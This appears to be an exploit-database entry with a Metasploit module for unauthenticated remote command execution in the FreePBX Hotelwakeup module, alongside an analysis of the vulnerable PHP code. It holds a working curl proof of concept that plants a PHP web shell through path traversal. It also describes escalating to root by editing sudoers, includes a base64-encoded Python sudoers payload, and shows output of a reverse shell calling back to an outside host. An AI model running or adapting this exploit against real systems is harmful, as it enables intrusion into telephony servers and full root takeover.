FreePBX < 13.0.188 - Remote Command Execution (Metasploit)

#Title : Freepbx < 13.0.188 , Remote root exploit

#Vulnerable software : Freepbx < 13.0.188

#Author : Ahmed Sultan (0x4148)

#Email : 0x4148@gmail.com

#Current software status : patch released

#Vendor : Sangoma <freepbx.org>

=begin

Freepbx 13.x are vulnerable to Remote command execution due to the insuffecient sanitization of the user input fields language,destination and also due to the lack of good authentication checking

Technical details

Vulnerable file : admin/modules/hotelwakeup/Hotelwakeup.class.php

Line 102 :

public function generateCallFile($foo) {

...............................

if (empty($foo['filename'])) {

$foo['filename'] = "wuc.".$foo['time'].".ext.".$foo['ext'].".call"; <<<<<---------------------Vulnerable

}

...........................

// Delete any old .call file with the same name as the one we are creating.

if(file_exists($outfile) ) {

unlink($outfile);

}

// Create up a .call file, write and close

$wuc = fopen($tempfile, 'w');

fputs( $wuc, "channel: Local/".$foo['ext']."@originate-skipvm\n" );

fputs( $wuc, "maxretries: ".$foo['maxretries']."\n");

fputs( $wuc, "retrytime: ".$foo['retrytime']."\n");

fputs( $wuc, "waittime: ".$foo['waittime']."\n");

fputs( $wuc, "callerid: ".$foo['callerid']."\n");

fputs( $wuc, 'set: CHANNEL(language)='.$foo['language']."\n"); <<<<<---------------------Vulnerable

fputs( $wuc, "application: ".$foo['application']."\n");

fputs( $wuc, "data: ".$foo['data']."\n");

fclose( $wuc );

..........................

The ext value can be manipulated by the attacker to change the output file path

the language value can be manipulated by the attacket to load in malicious contents

Function is called at

Line 94 :

public function addWakeup($destination, $time, $lang) {

$date = $this->getConfig(); // module config provided by user

$this->generateCallFile(array(

"time" => $time,

"date" => 'unused',

"ext" => $destination, <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<================ Vulnerable [Filename field]

"language" => $lang, <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<================ Vulnerable [language field loaded with malicious code]

"maxretries" => $date['maxretries'],

"retrytime" => $date['retrytime'],

"waittime" => $date['waittime'],

"callerid" => $date['cnam']." <".$date['cid'].">",

"application" => 'AGI',

"data" => 'wakeconfirm.php',

));

}

addWakeup function is called when calling the hotelwakeup module via ajax.php and setting savecall as command

Line 60 :

switch($_REQUEST['command']) {

case "savecall":

if(empty($_POST['language'])) {

$lang = 'en'; //default to English if empty

} else {

$lang = $_POST['language']; <<<<<<<<<<<<<<<<<<<===========================

}

............................................

if ($badtime) {

// abandon .call file creation and pop up a js alert to the user

return array("status" => false, "message" => sprintf(_("Cannot schedule the call the scheduled time is in the past. [Time now: %s] [Wakeup Time: %s]"),date(DATE_RFC2822,$time_now),date(DATE_RFC2822,$time_wakeup)));

} else {

$this->addWakeup($_POST['destination'],$time_wakeup,$lang); <<<<<<<<<<<=======================

return array("status" => true);

}

.................................

POC :

[0x4148:/lab]# curl "http://68.170.92.50:8080/admin/ajax.php" -H "Host: 68.170.92.50:8080" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "Accept-Language: en-US,en;q=0.5" --compressed -H "Referer: http://68.170.92.50:8080/admin/ajax.php" -H "Cookie: lang=en_US; PHPSESSID=9sfgl5leajk74buajm0re2i014" -H "Connection: keep-alive" -H "Upgrade-Insecure-Requests: 1" --data "module=hotelwakeup&command=savecall&day=now&time="%"2B1 week&destination=/../../../../../../var/www/html/0x4148.php&language=<?php system('uname -a;id');?>"

{"error":{"type":"Whoops\\Exception\\ErrorException","message":"touch(): Unable to create file \/var\/spool\/asterisk\/tmp\/wuc.1475613328.ext.\/..\/..\/..\/..\/..\/..\/var\/www\/html\/0x4148.php.call because No such file or directory","file":"\/var\/www\/html\/admin\/modules\/hotelwakeup\/Hotelwakeup.class.php","line":238}}#

The error mean nothing , we still can get our malicious file via http://server:port/0x4148.php.call

the server will ignore.call extn and will execute the php

[0x4148:/lab]# curl "http://68.170.92.50:8080/0x4148.php.call"

channel: Local//../../../../../../var/www/html/0x4148.php@originate-skipvm

maxretries: 3

retrytime: 60

waittime: 60

callerid: Wake Up Calls <*68>

set: CHANNEL(language)=Linux HOUPBX 2.6.32-504.8.1.el6.x86_64 #1 SMP Wed Jan 28 21:11:36 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

uid=499(asterisk) gid=498(asterisk) groups=498(asterisk)

application: AGI

data: wakeconfirm.php

Privelage can be escalated via adding the asterisk user to sudoers which can be done manually

then echo a > /var/spool/asterisk/sysadmin/amportal_restart

sleeping for few seconds

then sudo bash -i

MSF OUTPUT

msf > use exploit/fpbx

msf exploit(fpbx) > set RHOST 68.170.92.50

RHOST => 68.170.92.50

msf exploit(fpbx) > set RPORT 8080

RPORT => 8080

msf exploit(fpbx) > exploit

[*] [2016.09.27-16:39:21] Started reverse TCP handler on 88.150.231.125:443

[*] [2016.09.27-16:39:21] 68.170.92.50:8080 - Sending payload . . .

[*] [2016.09.27-16:39:21] 68.170.92.50:8080 - Trying to execute payload

[+] [2016.09.27-16:39:41] 68.170.92.50:8080 - Payload executed

[*] [2016.09.27-16:39:41] 68.170.92.50:8080 - Spawning root shell <taking around 20 seconds in case of success>

id

uid=0(root) gid=0(root) groups=0(root)

sh -i

sh: no job control in this shell

sh-4.1# pwd

pwd

/var/www/html

sh-4.1# whoami

whoami

root

sh-4.1#

=end

##

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'FreePBX < 13.0.188.1 Remote root exploit',

'Description' => '

This module exploits an unauthenticated remote command execution in FreePBX module Hotelwakeup

',

'License' => MSF_LICENSE,

'Author' =>

[

'Ahmed sultan (0x4148) <0x4148@gmail.com>', # discovery of vulnerability and msf module

],

'References' =>

[

"NA"

],

'Payload' =>

{

'Compat' =>

{

'PayloadType' => 'cmd',

'RequiredCmd' => 'perl telnet python'

}

},

'Platform' => %w(linux unix),

'Arch' => ARCH_CMD,

'Targets' => [['Automatic', {}]],

'Privileged' => 'false',

'DefaultTarget' => 0,

'DisclosureDate' => 'Sep 27 2016'))

end

def print_status(msg = '')

super("#{rhost}:#{rport} - #{msg}")

end

def print_error(msg = '')

super("#{rhost}:#{rport} - #{msg}")

end

def print_good(msg = '')

super("#{rhost}:#{rport} - #{msg}")

end

# Application Check

def check

res = send_request_cgi(

'method' => 'POST',

'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),

'headers' => {

'Referer' => "http://#{datastore['RHOST']}/jnk0x4148stuff"

},

'vars_post' => {

'module' => 'hotelwakeup',

'command' => 'savecall'

}

)

unless res

vprint_error('Connection timed out.')

end

if res.body.include? "Referrer"

vprint_good("Hotelwakeup module detected")

return Exploit::CheckCode::Appears

else

Exploit::CheckCode::Safe

end

def exploit

vprint_status('Sending payload . . .')

pwn = send_request_cgi(

'method' => 'POST',

'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'),

'headers' => {

'Referer' => "http://#{datastore['RHOST']}:#{datastore['RPORT']}/admin/ajax.php?module=hotelwakeup&action=savecall",

'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",

'User-agent' => "mostahter ;)"

},

'vars_post' => {

'module' => 'hotelwakeup',

'command' => 'savecall',

'day' => 'now',

'time' => '+1 week',

'destination' => '/../../../../../../var/www/html/0x4148.php',

'language' => '<?php echo "0x4148@r1z";if($_GET[\'r1zcmd\']!=\'\'){system("sudo ".$_GET[\'r1zcmd\']);}else{fwrite(fopen("0x4148.py","w+"),base64_decode("IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCmltcG9ydCBvcwppbXBvcnQgdGltZQojIC0qLSBjb2Rpbmc6IHV0Zi04IC0qLSAKY21kID0gJ3NlZCAtaSBcJ3MvQ29tIEluYy4vQ29tIEluYy5cXG5lY2hvICJhc3RlcmlzayBBTEw9XChBTExcKVwgICcgXAoJJ05PUEFTU1dEXDpBTEwiXD5cPlwvZXRjXC9zdWRvZXJzL2dcJyAvdmFyL2xpYi8nIFwKCSdhc3Rlcmlzay9iaW4vZnJlZXBieF9lbmdpbmUnCm9zLnN5c3RlbShjbWQpCm9zLnN5c3RlbSgnZWNobyBhID4gL3Zhci9zcG9vbC9hc3Rlcmlzay9zeXNhZG1pbi9hbXBvcnRhbF9yZXN0YXJ0JykKdGltZS5zbGVlcCgyMCk="));system("python 0x4148.py");}?>',

}

)

#vprint_status("#{pwn}")

vprint_status('Trying to execute payload <taking around 20 seconds in case of success>')

escalate = send_request_cgi(

'method' => 'GET',

'uri' => normalize_uri(target_uri.path, '0x4148.php.call'),

'vars_get' => {

'0x4148' => "r1z"

}

)

if escalate.body.include? "0x4148@r1z"

vprint_good("Payload executed")

vprint_status("Spawning root shell")

killit = send_request_cgi(

'method' => 'GET',

'uri' => normalize_uri(target_uri.path, '0x4148.php.call'),

'vars_get' => {

'r1zcmd' => "#{payload.encoded}"

}

)

else

vprint_error("Exploitation Failed")

end

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